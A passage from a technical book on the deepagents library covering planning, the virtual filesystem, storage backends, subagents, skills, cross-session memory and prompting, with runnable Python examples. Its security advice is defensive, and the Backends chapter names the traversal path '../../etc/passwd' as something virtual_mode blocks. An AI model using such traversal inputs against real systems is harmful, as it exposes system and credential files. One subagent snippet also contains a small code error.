    {'text': 'plan', 'tool_calls': [{'name': 'write_todos', 'args': {'todos': [
        {'content': 'Read logs', 'status': 'in_progress'}, {'content': 'Write
up', 'status': 'pending'}]}]}]},
    {'text': 'update', 'tool_calls': [{'name': 'write_todos', 'args': {'todos': [
        {'content': 'Read logs', 'status': 'completed'}, {'content': 'Write
up', 'status': 'in_progress'}]}]}]},
    'done']
out = create_deep_agent(model=ScriptedModel(script=script),
middleware=[TodoListMiddleware()]).invoke(
    {'messages': [{'role': 'user', 'content': 'go'}]})
for t in out['todos']:
    print(f\"    [{t['status']}:11] {t['content']}\")
"
```

Then try `status: 'nonsense'` and watch it be rejected.

Takeaways

- `write_todos` **is not enabled by default in deepagents 0.7.11**, despite what nearly every write-up says. Add `TodoListMiddleware` from `langchain.agents.middleware`.
- The failure is silent: the agent works, never plans, and loses the thread on long tasks. **Check what your model is actually offered.**
- The model rewrites the **whole list** each time; statuses are `pending`, `in_progress`, `completed`, and anything else is rejected.
- The plan lives in state under `todos`, readable after or during a run.
- It is worth the tokens because it **survives summarisation** and is your best **progress signal** — an unchanged list means a stuck agent.

- It is **advisory, not enforced**. Nothing makes the agent follow or update it.
- Ask for a plan explicitly, ask for it to be kept current, and keep it coarse — five items, not thirty.
- Skip it for short tasks and fixed sequences.

Previous: Chapter 5 — It is a LangGraph graph · Next: Chapter 7 — The virtual filesystem

Chapter 7 — The virtual filesystem

The central capability. Chapter 4 covered where files live; this chapter is about using them well, because a filesystem the agent ignores buys you nothing.

The point, restated

Without a filesystem, everything the agent reads stays in the message list forever. With one, the agent reads what it needs, writes what it concludes, and the transcript stays small.

For `scout`, that is the difference between carrying four log files through every turn and carrying a sentence.

```
files afterwards:
  /config/limits.yaml
  /findings.md          <- written by the agent
  /logs/api.log
  /logs/media.log
  /runbooks/disk.md
```

Four files in, one file out. The report is the deliverable; the logs never entered the conversation whole.

Seeding the workspace

Files go in as input:

```
from deepagents.backends.utils import create_file_data

agent.invoke({
    "messages": [{"role": "user", "content": "why did node-3 fail?"}],
    "files": {
        "/logs/api.log": create_file_data("...log text..."),
        "/runbooks/disk.md": create_file_data("...runbook..."),
    },
})
```

This is how documents reach the agent, and it is better than pasting them into the prompt for the obvious reason: **the agent decides what to read**. A 200 KB log costs nothing until it is opened, and `grep` may mean it never is.

`scout` seeds four files this way — see `examples/scout/workspace.py`.

The read-and-write cycle

The pattern that works, and the one to prompt for:

1. **Locate** — `grep` or `glob` to find the file. Cheap: returns paths, not content.
2. **Read narrowly** — `read_file` with `offset/limit` if it is large.
3. **Write conclusions** — `write_file` to a named path.
4. **Refine** — `edit_file` rather than rewriting.

scout does exactly this: `grep ERROR /logs → read_file /runbooks/disk.md → write_file /findings.md`.

The failure to avoid is an agent that reads whole files it does not need. That is the original context problem with extra steps, and the fix is prompting: *"Use grep to locate before reading. Read only the parts you need."*

Files as the interface

Once the agent has a filesystem, files become how you communicate with it in both directions.

In: documents, logs, prior output, configuration.

Out: the deliverable. `result["files"]["/findings.md"]["content"]` is what you ship.

Between turns: the agent's own notes. A long investigation can write `/scratch/notes.md` and re-read it after summarisation has eaten the transcript.

Between agents: a subagent writes a file; the parent reads it (Chapter 9).

That last one is the pattern worth internalising: **files are how subagents return more than a sentence.**

Tell it where to write

The single highest-value line in a deep agent's system prompt:

```
write your conclusion to /findings.md
```

Without it the agent invents a path — `report.md`, `/output/findings.txt`, `/tmp/analysis.md` — and your code that reads `result["files"]["/findings.md"]` gets a `KeyError`. It is not the agent's fault; you did not say.

Name the paths you will read. If there are several, list them.

Paths

Two things measured in Chapter 3 that matter here:

Everything is absolute. `write_file("notes.md", ...)` stores `/notes.md`. If your code looks for `"notes.md"`, it will not find it.

`ls` **needs an explicit path.** There is no working directory.

A useful convention is directories by role — `/logs/`, `/runbooks/`, `/findings.md` — because the agent reasons about paths as names. A flat pile of files with unclear names produces worse `grep` behaviour than a small tree with obvious ones.

The size problem

Files keep bulk out of the *message list*, not out of the *state*. Everything in `files` is checkpointed on every superstep. Seed a 50 MB log and you are writing 50 MB per checkpoint.

For genuinely large inputs, use a backend that does not live in state — `FilesystemBackend` for real files, `StoreBackend` for a database. Chapter 8 covers the trade, and Chapter 27 measures the cost.

Try it

Watch the workspace go in and the deliverable come out:

```
uv run python -c "
from examples.scout.agent import investigate
from examples.scout.workspace import seed

print('in :', sorted(seed()))
out = investigate()
print('out:', sorted(out['files']))
print()
print(out['files']['/findings.md']['content'])
"
```

Then confirm the logs never entered the conversation whole — the agent grepped instead:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
for m in out['messages']:
    if type(m).__name__ == 'ToolMessage':
        print(f'{len(str(m.content)):5} chars  {str(m.content)[:52]!r}')
"
```

Compare those lengths against the size of the files in `workspace.py`.

Takeaways

- The filesystem exists so the agent's **working area is not its message list**.
- Seed files as input with `create_file_data`; the agent then decides what to read, so a large document costs nothing until opened.
- The cycle is **locate (grep/glob) → read narrowly → write conclusions → refine with edit_file**. Prompt for it, or the agent reads whole files it does not need.
- Files are the interface in every direction: input, deliverable, the agent's own notes across summarisation, and **how subagents return more than a sentence**.
- **Tell the agent where to write**. Unsaid, it invents a path and your reader gets a `KeyError`.
- Paths are absolute; `ls` needs an explicit one. Organise by role so names are meaningful.
- Files keep bulk out of the context but **not out of the checkpoint**. Large inputs want a different backend (Chapter 8).

Previous: Chapter 6 — Planning · Next: Chapter 8 — Backends

Chapter 8 — Backends

The filesystem tools are one interface with several implementations underneath. Choosing the backend decides where files actually live — in graph state, on your disk, or in a database — and it is the decision with the largest blast radius in this book, because one of the options gives a language model write access to your machine.

The options

```
['BackendProtocol', 'CompositeBackend', 'ContextHubBackend', 'FilesystemBackend',
 'LangSmithSandbox', 'LocalShellBackend', 'NamespaceFactory', 'StateBackend',
 'StoreBackend']
```

The four that matter:

Backend	Files live in	Survives	Use for
StateBackend (default)	LangGraph state	the thread	most things
FilesystemBackend	your real disk	forever	coding agents, local tools
StoreBackend	a LangGraph Store	across threads	long-term memory
CompositeBackend	routed by path	mixed	the realistic production shape

StateBackend — the default

Files are a dict in graph state (Chapter 4). Nothing touches your disk:

```
in state: ['/memo.md']
```

Right for almost everything. Scoped to the thread, checkpointed, inspectable, and completely safe — the agent cannot reach anything you did not put there.

Its limit is size: every file is in every checkpoint.

FilesystemBackend — real files, and a real risk

```
FilesystemBackend(root_dir="/path/to/project")
```

The agent reads and writes **actual files**:

```
ls          -> ['/seed.txt']
read_file -> '1 on disk'
```

And writes land on disk:

```
FilesystemBackend(virtual_mode=False)  file on real disk? True  -> AGENT WROTE THIS
```

That is the point for a coding assistant, and it is a genuine hazard everywhere else. The library's own docstring is blunt about it:

Security Warning. This backend grants agents direct filesystem read/write access... Inappropriate use cases: [untrusted workloads without sandboxing].

`virtual_mode` **does not mean "virtual"**

The trap, and the reason to read this section rather than skim it. The parameter defaults to `True` and sounds like it keeps things in memory. Measured:

```
FilesystemBackend(root_dir=d, virtual_mode=True)
  file on real disk? True
  in state files?    False
```

It still wrote to the disk. From the docstring:

`virtual_mode=True` is primarily for virtual path semantics... It can also provide path-based guardrails by blocking traversal (`..`, `~`) and absolute paths outside `root_dir`, but **it does not provide sandboxing or process isolation.**

So `virtual_mode` constrains *paths*, not *access*. It stops `../../etc/passwd`; it does not stop the agent overwriting your source files inside `root_dir`.

If you want files that never touch your disk, use `StateBackend` — the default. Not `FilesystemBackend(virtual_mode=True)`.

If you do use it: point `root_dir` at a scratch directory, pair it with human approval on `write_file` and `delete` (Chapter 13), and treat it as you would `exec`.

`StoreBackend` — **memory across threads**

Files in a LangGraph Store, so they outlive the thread:

```
StoreBackend(namespace=lambda rt: ("memories",))

agent = create_deep_agent(model=model, backend=StoreBackend(namespace=ns), store=InMemoryStore())
```

Written on thread A, read on thread B:

```
thread B sees: ['/memo.md']
               1  remembered across threads
```

Two API details that will cost you time, both changed recently:

`namespace` is a callable, not a tuple. `StoreBackend(namespace=("memories",))` raises `TypeError: 'tuple' object is not callable` — from deep inside the write, not at construction. It takes the runtime, so the namespace can depend on the request:

```
StoreBackend(namespace=lambda rt: ("memories", rt.context.user_id))
```

That is also how you get per-user memory, and Chapter 28 explains why the tenant must come from context rather than anything the model supplies.

Backend factories were removed in 0.7. Widely-published examples — including the official skill — show `backend=lambda rt: StoreBackend(rt)`. Against 0.7.11:

```
TypeError: backend must be an initialized backend instance. Backend factories were removed in deepagents 0.7; pass StateBackend(), CompositeBackend(...), or another BackendProtocol instance instead.
```

A good error message, at least. Pass an instance.

CompositeBackend — the production shape

Route by path prefix:

```
CompositeBackend(
    default=StateBackend(),
    routes={
        "/memories/": StoreBackend(namespace=lambda rt: ("memories", rt.context.user_id)),
        "/repo/": FilesystemBackend(root_dir="/srv/checkout"),
    },
)
```

Scratch work stays in state and disappears with the thread; anything under `/memories/` persists across sessions; anything under `/repo/` is real. One filesystem to the agent, three storage policies to you.

This is usually what a real deployment wants, and the routing is also a **security boundary**: if only `/repo/` maps to disk, nothing the agent writes elsewhere can escape.

Choosing

- Start with the **default**. Do not configure a backend until you need one.
- Files should survive across sessions → `StoreBackend`.
- The agent genuinely edits real files (a coding agent) → `FilesystemBackend`, scoped, with approval on writes.
- More than one of those → `CompositeBackend`.

And the rule worth repeating: `virtual_mode=True` is **not a sandbox**.

Try it

Confirm the default keeps files off your disk:

```
uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel
m = ScriptedModel(script=[{'text':'x','tool_calls':[{'name':'write_file','args':
{'file_path':'/memo.md','content':'hi'}}]}, 'done'])
out = create_deep_agent(model=m).invoke({'messages':
[{'role':'user','content':'go'}]})
print('in state:', sorted(out['files']))
"
```

Then watch `FilesystemBackend` write to a real directory **with** `virtual_mode=True` — the finding worth seeing yourself:

```
uv run python -c "
import tempfile, pathlib
from deepagents import create_deep_agent
from deepagents.backends import FilesystemBackend
from examples.scout.fakes import ScriptedModel

d = tempfile.mkdtemp()
m = ScriptedModel(script=[{'text':'x','tool_calls':[{'name':'write_file','args':
{'file_path':'/new.txt','content':'AGENT WROTE THIS'}}]}, 'done'])
create_deep_agent(model=m, backend=FilesystemBackend(root_dir=d,
virtual_mode=True)).invoke(
    {'messages':[{'role':'user','content':'go'}]})
f = pathlib.Path(d) / 'new.txt'
print('on real disk:', f.exists(), '->', f.read_text().strip() if f.exists() else
'')
"
```

And provoke the factory error, so you recognise it in a stale tutorial:

```
uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends import StoreBackend
from examples.scout.fakes import ScriptedModel
try:
    create_deep_agent(model=ScriptedModel(script=['ok']), backend=lambda rt:
StoreBackend(rt))
except TypeError as e:
    print('TypeError:', str(e)[:110])
"
```

Takeaways

- The filesystem tools are one interface over several backends. **Start with the default** `StateBackend` — files in graph state, nothing on disk.
- `FilesystemBackend` **gives a language model read/write access to real files**. The library's own docstring calls it a security warning.

- `virtual_mode=True` **is not a sandbox**. It constrains paths — blocking `..` and escapes from `root_dir` — and **still writes to your disk**. For files that never touch disk, use `StateBackend`.
 - `StoreBackend` gives memory across threads. `namespace` **is a callable, not a tuple**, and taking the runtime is how you scope memory per user.
 - **Backend factories were removed in 0.7** — `backend=lambda rt: ...` now raises. Pass an instance. Most published examples are stale.
 - `CompositeBackend` routes by path prefix and is the realistic production shape — and its routing table is a **security boundary**.
-

Previous: Chapter 7 — The virtual filesystem · Next: Chapter 9 — Subagents

Chapter 9 — Subagents

The `task` tool spawns a fresh agent, runs it, and returns only its answer. That is the harness's second answer to the context problem, and the one people underuse.

Context isolation, measured

Count the messages each model call receives across a delegation:

```
messages seen per model call: [2, 2, 4]
```

- **Call 1** — the parent: system prompt plus the user's question.
- **Call 2** — the **subagent**: two messages. A *fresh* context. It did not inherit the parent's history.
- **Call 3** — the parent again: its own transcript, plus the result.

And the parent's transcript afterwards:

```
HumanMessage 'investigate'
AIMessage    'delegating'
ToolMessage  'sub: disk full at 09:41'
AIMessage    'parent: root cause is disk'
```

The subagent read a file and reasoned about it. **None of that is in the parent's context** — only the one-line conclusion. That is the whole feature:

A subagent spends context you do not pay for afterwards.

Defining one

```
sub = {
    "name": "log-reader",
    "description": "Reads a log file and reports the single most significant
line.",
    "system_prompt": "You read logs. Report one line, with its timestamp.",
}

agent = create_deep_agent(model=model, subagents=[sub])
```

The model then calls:

```
task(description="summarise /logs/api.log", subagent_type="log-reader")
```

The description is the prompt. It is what the parent decides to say, and it is the whole brief — the subagent cannot ask a follow-up. A vague description produces a vague answer, and the parent has no way to know it was vague.

Subagents can have their own `tools` and their own `model`. A cheap model for bulk reading and an expensive one for the parent's judgement is a real and easy saving (Chapter 27).

Note that the parent does **not** get the subagent's tools:

```
parent tools: ['ls', 'read_file', 'write_file', 'edit_file', 'delete', 'glob',
'grep', 'task']
```

Delegation is how the parent reaches them — which is also a way to keep a dangerous tool out of the main loop.

When to delegate

The subtask produces a lot of context and a small answer. Reading five log files to report one line. This is the archetype, and if it describes your subtask, delegate.

The subtask needs different instructions. A critic that must not be encouraging; a formatter with a rigid house style.

The subtask needs different tools. Or a different model.

The subtasks are independent. Several `task` calls can run concurrently.

When not to

The answer is the context. If the parent needs everything the subagent read, isolation costs you a round trip and buys nothing.

The subtask is one tool call. Just call the tool.

The subtask needs to negotiate. There is no conversation. One brief, one answer.

You are building a hierarchy for its own sake. Deep trees of agents are the most over-applied pattern in this ecosystem: every level is a model call, context is lost at every boundary, and debugging spans several transcripts. One level of delegation is usually right; three is usually a design that has got away from you.

Returning more than a sentence

The `task` result is a string, which is the main constraint. When the subagent has more to say, have it **write a file** (Chapter 7):

```
system_prompt: "Write your full analysis to /analysis/<topic>.md, then reply with
one line saying what you found and the path you wrote."
```

Now the parent gets a summary *and* a pointer, and can read the file if it needs detail. The filesystem is shared; the context is not. That combination is the most useful thing in this chapter.

Cost

Delegation is not free. Each subagent call is at least one model call with its own system prompt and the harness's ~2,400 tokens of tool definitions. A subagent that saves 500 tokens of context costs more than it saves.

Delegate when the context saved is **large** — a log file, a document, a directory listing — not to be tidy.

Debugging

Subagent work is invisible in the parent's transcript, which is the feature and the debugging problem. A subagent that fails silently returns a plausible sentence and the parent proceeds.

Three habits:

- **Have subagents write files.** Then their work is inspectable afterwards.
- **Stream with** `subgraphs=True` to see inside (Chapter 22).
- **Suspect the** `description` when the answer is wrong. It is usually an underspecified brief rather than a bad subagent.

Try it

Prove the isolation:

```
uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends.utils import create_file_data
from examples.scout.fakes import ScriptedModel

seen = []
class Spy(ScriptedModel):
    def _generate(self, messages, *a, **k):
        seen.append(len(messages))
        return super()._generate(messages, *a, **k)

sub = {'name': 'log-reader', 'description': 'Reads a log.', 'system_prompt': 'Report one line.'}
m = Spy(script=[
    {'text': 'delegating', 'tool_calls': [{'name': 'task', 'args':
{'description': 'summarise /logs/api.log', 'subagent_type': 'log-reader'}}]},
    {'text': 'sub: disk full at 09:41'},
    {'parent: root cause is disk'}])
out = create_deep_agent(model=m, subagents=[sub]).invoke(
    {'messages': [{'role': 'user', 'content': 'investigate'}],
     'files': {'/logs/api.log': create_file_data('ERROR disk full')}})
print('messages per model call:', seen)
for x in out['messages']:
    print(f'  {type(x).__name__:13} {str(x.content)[:50]!r}')
"
```

The middle number is the subagent starting fresh. The parent's transcript contains its conclusion and nothing else.

Takeaways

- `task(description, subagent_type)` runs a fresh agent and returns **only its answer**.
- Measured, the subagent's model call saw **2 messages, not the parent's history** — and none of its reading reached the parent's context.

- **A subagent spends context you do not pay for afterwards.** That is the entire point.
 - **The description is the whole brief.** There is no follow-up, and a vague brief produces a vague answer the parent cannot detect.
 - Subagents can have their own tools and model; the parent does not inherit them, which is also a way to keep a dangerous tool out of the main loop.
 - Delegate when the subtask produces **a lot of context and a small answer**. Not when the answer *is* the context, not for one tool call, and not to build a hierarchy.
 - **Have subagents write files** and reply with a path. Shared filesystem, isolated context.
 - Each delegation costs a model call plus ~2,400 tokens of tool definitions — delegate for large savings, not tidiness.
 - Their work is invisible in the parent transcript. Write files, stream with `subgraphs=True`, and suspect the brief first.
-

Previous: Chapter 8 — Backends · Next: Chapter 10 — Skills

Chapter 10 — Skills

A skill is a folder with a `SKILL.md` in it. The agent is told the skill *exists* on every call, and reads the contents only when it decides the skill applies.

That two-stage arrangement — advertise cheaply, load fully on demand — is called progressive disclosure, and it is how you give an agent a large body of instructions without paying for all of it every turn.

The shape

```
examples/scout/skills/
├── incident-report/
│   └── SKILL.md
```

```
---
name: incident-report
description: House format for writing a post-incident findings report, with the
required sections and the citation rule
---

# Incident report format

## When to use

When writing anything to `/findings.md` or any file the incident review will read.

## Instructions

Use exactly these sections, in this order:
1. `# <node> outage` — one line stating the root cause.
2. `## Evidence` — a bullet per fact, each ending with `[source]`.
...
```

The frontmatter is **required**. `name` and `description` are what the agent sees up front; the body is what it reads if it decides to.

Wiring it up

Skills need a backend that can read them:

```
agent = create_deep_agent(
    model=model,
    backend=FilesystemBackend(root_dir=str(SKILLS_ROOT), virtual_mode=True),
    skills=["./skills/"],
)
```

`skills=["./skills/"]` alone does nothing — there is no filesystem to read from by default (Chapter 8). This is the most common reason a skill silently fails to appear.

What the agent actually sees

The tool list does **not** change:

```
tools offered: ['ls', 'read_file', 'write_file', 'edit_file', 'delete', 'glob',
'grep', 'task']
```

Skills are not tools. They arrive in the **system prompt** — the same prompt Chapter 2 measured as empty without them:

```
## Skills System

You have access to a skills library that provides specialized capabilities and
domain knowledge.

**Available Skills:**

- **incident-report**: House format for writing a post-incident findings report,
with the
    required sections and the citation ...
```

So the per-call cost is **one line per skill**: its name and description. The body is only read if the agent opens the file — with `read_file`, using the tools it already has.

That is the whole mechanism, and knowing it tells you where to spend effort.

The description is the entire routing decision

The agent chooses using the description alone. It has not read the skill. So:

Say when to use it, not what it is. *"House format for writing a post-incident findings report"* beats *"Reporting helper"*. `scout`'s description names the trigger — writing to `/findings.md`.

Be specific. Vague descriptions produce skills that never load, or load for everything.

Make them distinguishable. Two skills with overlapping descriptions is a coin flip.

A skill that never loads is nearly always a description problem, not a content problem — and it fails silently, because nothing reports "considered and rejected".

Skills versus the system prompt versus memory

Three places instructions can live, and the choice is about cost and scope:

	Loaded	Cost	Use for
System prompt	always	every call	who the agent is; where to write
Skill	on demand	one line per call	long, task-specific procedure
Memory file	when read	nothing until read	facts about this user or project

The rule: **if it applies to every request, it belongs in the system prompt. If it applies to one kind of request and is long, it is a skill.**

A 40-line house style guide for reports is a skill. "Cite your sources" is a system prompt line.

What skills are good for

House formats. Exactly the example above.

Procedures with steps. A runbook the agent should follow rather than improvise.

Domain knowledge too long for a prompt. Reference material consulted occasionally.

Things that change independently of your code. A skill is a file; editing it does not require a deploy — which is also a governance question, since it means prompt-shaped content lives outside code review unless you put it in the repository.

What they are not

Not tools. A skill cannot *do* anything. It is instructions. If the agent needs an action, write a tool.

Not enforced. The agent may read the skill and ignore it, or not read it at all.

Not inherited by subagents. A subagent gets the skills you give *it*:

```
create_deep_agent(
    skills=["./skills/"],
    subagents=[{"name": "writer", "skills": ["./skills/"], ...}], # explicitly
)
```

Forgetting this produces a subagent that ignores the house format while the parent obeys it — a confusing bug, because the skill demonstrably works.

Try it

See a skill advertised in the system prompt without appearing as a tool:

```

uv run python -c "
import pathlib
from deepagents import create_deep_agent
from deepagents.backends import FilesystemBackend
from examples.scout.fakes import ScriptedModel

seen = {}
class Spy(ScriptedModel):
    def _generate(self, messages, *a, **k):
        seen.setdefault('m', messages); return super()._generate(messages, *a, **k)

def text(msg):
    c = msg.content
    return c if isinstance(c, str) else ''.join(b.get('text','') for b in c if
isinstance(b, dict))

root = pathlib.Path('examples/scout').resolve()
model = Spy(script=['ok'])
create_deep_agent(model=model, backend=FilesystemBackend(root_dir=str(root),
virtual_mode=True),
                skills=['./skills/']).invoke({'messages':
[{'role':'user','content':'write findings'}]})
prompt = chr(10).join(text(m) for m in seen['m'])
print('tools      :', model.bound_tools)
print('in prompt   :', 'incident-report' in prompt)
i = prompt.find('Available Skills')
print(prompt[i:i+220])
"

```

The skill is in the prompt; the tool list is unchanged.

Then remove the `backend=` argument and confirm the skill vanishes — silently.

Takeaways

- A skill is a folder with a `SKILL.md` and **required frontmatter** (name, description).
- **Skills need a backend that can read them.** `skills=[...]` alone silently does nothing.
- They are **not tools**. They appear in the **system prompt** as one line each; the body is read on demand with `read_file`.
- So the per-call cost is one line per skill — that is the whole point.
- **The description is the entire routing decision.** Say when to use it, be specific, keep them distinguishable. A skill that never loads is a description problem, and it fails silently.
- System prompt for what applies always; skill for long, task-specific procedure; memory for facts about this user or project.
- Skills are not enforced, and **not inherited by subagents** — pass them explicitly.

Previous: Chapter 9 — Subagents · Next: Chapter 11 — Memory across sessions

Chapter 11 — Memory across sessions

Three kinds of memory, three lifetimes. Most confusion about deep agents is a mix-up between them.

Memory	Scope	Survives	Mechanism
Messages	one thread	the thread	the conversation
Files	one thread	the thread	StateBackend (default)
Long-term	whatever you choose	forever	StoreBackend

Chapter 4 covered the first two. This chapter is the third: facts that outlive the investigation.

Files that cross threads

StoreBackend puts the filesystem in a LangGraph Store instead of graph state:

```
from deepagents.backends import StoreBackend
from langgraph.store.memory import InMemoryStore

agent = create_deep_agent(
    model=model,
    backend=StoreBackend(namespace=lambda rt: ("memories",)),
    store=InMemoryStore(),
    checkpointer=InMemorySaver(),
)
```

Written on one thread, read on a completely different one:

```
thread B sees: ['/memo.md']
               1 remembered across threads
```

Same tools — `write_file`, `read_file`, `ls`. The agent does not know or care that these files outlive the conversation. **Long-term memory is just a filesystem with a longer lifetime**, which is a genuinely elegant piece of design: nothing new to learn.

The namespace is the scope

```
StoreBackend(namespace=lambda rt: ("memories", rt.context.user_id))
```

It is a **callable** taking the runtime (Chapter 8), which is what lets scope depend on the request. That makes it the access-control boundary:

- `("memories",)` — one shared memory for everyone.
- `("memories", user_id)` — per user.
- `("memories", org_id, user_id)` — per user within an organisation.

Two rules, and Chapter 28 explains why they matter:

Take the scope from context, never from state or a tool argument. Context is set by your application; state can be influenced by model output and user input. A namespace built from state is a path traversal waiting to happen.

Put the tenant in the namespace tuple, not in the filename. `("memories", user)` is enforceable; `("memories",)` with files called `alice-notes.md` is one prefix bug from a leak.

What to remember

The hard part is not the API. An agent that writes everything to memory becomes slow, expensive and self-contradictory.

Worth remembering:

- **Stated preferences.** "Always cite the runbook." "Reply in Dutch."
- **Stable facts.** Which cluster this team owns; the on-call rota's shape.
- **Reusable outcomes.** "node-3 has had three disk incidents; log retention is never applied." That makes the next investigation start warmer, which is the whole promise.

Not worth remembering:

- **Anything derivable.** If it is in your database, read your database. A copy drifts.
- **Whole transcripts.** That is what the thread is for.
- **The agent's speculation.** This is the damaging one: an agent that writes guesses to long-term memory reads them back later as established fact, and the error compounds invisibly across sessions.

The design rule that follows:

Prefer writing memory from deterministic code. Where the agent writes it, constrain the shape and treat what it wrote as a claim, not a fact.

A practical middle ground: have the agent propose memory in a file the *parent* code reviews before promoting it to the long-term namespace.

Forgetting

Memory that only grows is a liability — for contradictions, for cost, and for privacy law. Decide three things before you ship:

Deletion. A user asking to be forgotten must be satisfiable, which means being able to enumerate every namespace holding their data. `("memories", user_id)` makes that one call; a shared namespace with prefixed filenames makes it a scan. Design for it on day one.

Updating rather than appending. Preferences change. Overwrite `/prefs.md` rather than appending a list of every preference ever expressed, or the agent reads contradictory instructions and picks arbitrarily.

Staleness. Facts expire. Files carry `created_at` and `modified_at` (Chapter 4) — put a date in the content too, so the agent can judge for itself.

CompositeBackend is how you get both

You rarely want *everything* persistent. Scratch work should die with the thread; conclusions should not. Route by path (Chapter 8):

```
CompositeBackend(
    default=StateBackend(),                                # /
    scratch/, /logs/
    routes={"/memories/": StoreBackend(namespace=lambda rt: ("memories",
rt.context.user_id))},
)
```

Now `/memories/preferences.md` persists and everything else is ephemeral — and you can tell the agent so in its system prompt: *"Anything under /memories/ will be there next time. Nothing else will."*

That sentence is worth including. Without it the agent has no way to know which of its files are durable, and will either lose work or clutter your store.

Try it

Watch a file cross a thread boundary:

```
uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends import StoreBackend
from langgraph.store.memory import InMemoryStore
from langgraph.checkpoint.memory import InMemorySaver
from examples.scout.fakes import ScriptedModel

store = InMemoryStore()
ns = lambda rt: ('memories',)

def run(script, tid):
    a = create_deep_agent(model=ScriptedModel(script=script),
backend=StoreBackend(namespace=ns),
                        store=store, checkpointer=InMemorySaver())
    return a.invoke({'messages': [{'role': 'user', 'content': 'go'}]}, {'configurable':
{'thread_id': tid}})

run([{'text': 'x', 'tool_calls': [{'name': 'write_file', 'args': {'file_path': '/
memo.md', 'content': 'remembered across threads'}}]}, 'done'], 'A')
out = run([{'text': 'y', 'tool_calls': [{'name': 'read_file', 'args': {'file_path': '/
memo.md'}}]}, 'done'], 'B-totally-different')
print([str(m.content) for m in out['messages'] if type(m).__name__=='ToolMessage'])
print('store keys:', [i.key for i in store.search(('memories',))])
"
```

Then change `ns` to `lambda rt: ('memories', 'someone-else')` for the second run and watch the memory disappear — that is the namespace doing its job.

Takeaways

- Three memories: **messages** (the thread), **files** (the thread), **long-term** (as long as you keep it).

- `StoreBackend` makes the filesystem outlive the thread. Same tools — **long-term memory is just a filesystem with a longer lifetime.**
 - **The namespace callable is the scope and the access-control boundary.** Take it from context, never from state; put the tenant in the tuple, not the filename.
 - Remember stated preferences, stable facts and reusable outcomes. Never anything derivable, whole transcripts, or **the agent's own speculation** — which it will later read as fact.
 - **Prefer writing memory from deterministic code;** treat agent-written memory as a claim.
 - Plan deletion, in-place updates and staleness before shipping.
 - `CompositeBackend` gives ephemeral scratch and durable conclusions — and **tell the agent in its prompt which paths survive.**
-

Previous: Chapter 10 — Skills · Next: Chapter 12 — Prompting a deep agent

Chapter 12 — Prompting a deep agent

Prompting an agent with a filesystem, a planner and delegation is different from prompting a chat model, because you are not only describing a task — you are describing **how to use a workspace**.

You are not competing with a preamble

Chapter 2 measured it: with no skills configured, the harness's own system prompt is empty.

```
system prompt: 0 chars
with a system_prompt of your own: yours at position 0
```

Your prompt is the entire system prompt. The harness's guidance lives in the tool descriptions instead — the ~2,400 tokens from Chapter 1.

Two consequences. You have the space, so use it. And **the model already knows what `write_file` does** — do not waste words explaining the tools. Spend them on your conventions.

The five things worth saying

scout's prompt is short and every line is doing work:

```
You investigate production incidents.

Work from the files you are given. Read the logs, check the config against the
runbooks, and write your conclusion to /findings.md. Cite the file each claim
came from. If the evidence does not support a conclusion, say so.
```

- 1. What the agent is for.** One line. It sets the frame everything else is read against.
- 2. Where the input is.** *"the files you are given."* Better still, name the directories: *"logs are in /logs, runbooks in /runbooks."* An agent that does not know where to look starts with `ls /` and wastes turns.
- 3. Where to write output — the highest-value line in the prompt.** Unsaid, the agent invents a path and your `result["files"]["/findings.md"]` raises `KeyError`. Name every path you intend to read.
- 4. How to cite.** *"Cite the file each claim came from."* This is the single most effective anti-fabrication instruction available: a claim that must carry a source is a claim the model has to have actually seen. It is also how you audit the output afterwards.
- 5. Permission to fail.** *"If the evidence does not support a conclusion, say so."* Without it the agent produces a confident root cause for an incident whose logs it could not find.

What to add for the harness's capabilities

Beyond the five, each capability wants a line — and none of them is on by default in the sense of being *used well*.

Planning. *"Before you begin, write a plan with `write_todos`, and mark each item complete as you finish it."* Chapter 6: the tool must also be enabled, and models often skip planning unless asked.

Reading narrowly. *"Use grep to locate before reading. Read only the parts you need."* Without this an agent reads whole files and you are back to the context problem the harness was meant to solve.

Delegation. *"Delegate reading large files to the log-reader subagent."* Models under-use `task` — it is unusual, and its benefit (context saved) is invisible to them.

Durability. With a `CompositeBackend`: *"Anything under /memories/ will be there next time. Nothing else will."* The agent cannot otherwise know.

Instructions live in three places

Where	Loaded	For
System prompt	every call	who the agent is, where things go
Skill	on demand	a long procedure for one kind of task
A file the agent reads	when it reads it	reference material, project facts

The mistake is putting a 40-line house style guide in the system prompt, where it is re-sent on every turn of a fifty-turn task. That is a skill (Chapter 10).

The opposite mistake is putting *where to write output* in a skill. If it applies to every run, it belongs in the prompt.

Prompting the plan-execute cycle

Long agents drift. Three lines that measurably help:

"Re-read your plan before each major step." Counters the slow forgetting of what remains.

"Write intermediate findings to files as you go, not at the end." An agent that keeps everything in its head until the final turn loses it to summarisation — and if the run fails at turn thirty you have nothing.

"State what you could not determine." Turns a silent gap into a reportable one.

Length

There is no fixed rule, but there is a shape: **short prompt, long skills**. The system prompt is paid for on every turn; a fifty-turn task pays for it fifty times.

If your system prompt is over about thirty lines, look for the part that applies to only some requests. That part is a skill.

Try it

Look at what the model receives — your prompt, whole and alone:


```

uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel
from examples.scout.agent import SYSTEM_PROMPT

seen = {}
class Spy(ScriptedModel):
    def _generate(self, messages, *a, **k):
        seen.setdefault('m', messages); return super()._generate(messages, *a, **k)

create_deep_agent(model=Spy(script=['ok']), system_prompt=SYSTEM_PROMPT).invoke(
    {'messages': [{'role': 'user', 'content': 'why did node-3 fail?'}]})
for m in seen['m']:
    print(f'--- {type(m).__name__}'); print(m.content)
"

```

Two messages: your prompt and the question. Nothing else.

Then delete `"write your conclusion to /findings.md"` from `SYSTEM_PROMPT` in `examples/scout/agent.py` and consider what your reader code would do — `result["files"]["/findings.md"]` has nothing to find.

Takeaways

- **Your `system_prompt` is the whole system prompt** — the harness adds none. You have the space; do not spend it explaining tools the model already has descriptions for.
- Five lines earn their place: what the agent is for, **where the input is**, **where to write output**, **how to cite**, and **permission to fail**.
- "Write your conclusion to `/findings.md`" is the highest-value line — without it the agent invents a path and your reader raises `KeyError`.
- "Cite the file each claim came from" is the most effective anti-fabrication instruction, and makes the output auditable.
